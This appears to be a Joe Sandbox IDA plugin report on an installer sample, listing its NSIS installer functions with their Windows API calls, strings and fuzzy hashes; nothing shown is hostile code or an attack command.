Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

NUL, xrefs: 00406A9E
F, xrefs: 00406AE8
[Rename], xrefs: 00406BC8, 00406BD7
%s=%s, xrefs: 00406B43

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not initialize OLE, xrefs: 004024F1

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: command="%s", xrefs: 00402241
Exec: success ("%s"), xrefs: 00402263

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00016C00,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

@rD, xrefs: 00404402
%u.%u%s%s, xrefs: 00404444

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
